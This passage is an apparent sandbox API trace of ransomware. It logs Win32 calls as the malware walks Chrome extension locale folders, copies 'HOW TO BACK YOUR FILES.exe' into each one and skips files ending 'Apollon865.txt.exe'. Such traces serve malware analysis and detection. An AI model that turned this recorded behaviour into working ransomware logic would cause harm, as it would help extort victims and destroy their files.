	[0050.091] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.091] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl"
	[0050.091] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl"
	[0050.091] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.091] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.095] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.095] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ecf1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ecf1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.095] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.095] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.095] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no"
	[0050.095] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no"
	[0050.095] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.095] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.100] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.100] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ef5310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ef5310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.100] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.100] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.100] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl"
	[0050.100] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl"
	[0050.100] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.100] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.104] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.104] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ef5310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ef5310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.104] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.104] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.104] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms"
	[0050.104] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms"
	[0050.104] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.104] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.109] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.109] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ef5310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ef5310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.109] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.109] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.109] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv"
	[0050.110] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv"
	[0050.110] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.110] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.113] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.113] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35f1b470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35f1b470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.114] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.114] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.114] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt"
	[0050.114] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt"
	[0050.114] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.114] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.153] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.153] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35f67730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35f67730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.153] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.153] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.154] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko"
	[0050.154] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko"
	[0050.154] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.154] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.158] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.158] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35f67730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35f67730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.158] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.158] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.158] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja"
	[0050.158] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja"
	[0050.158] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.158] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.163] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.163] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35f8d890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35f8d890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.163] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.163] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.163] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it"
	[0050.163] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it"
	[0050.163] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.163] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.167] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
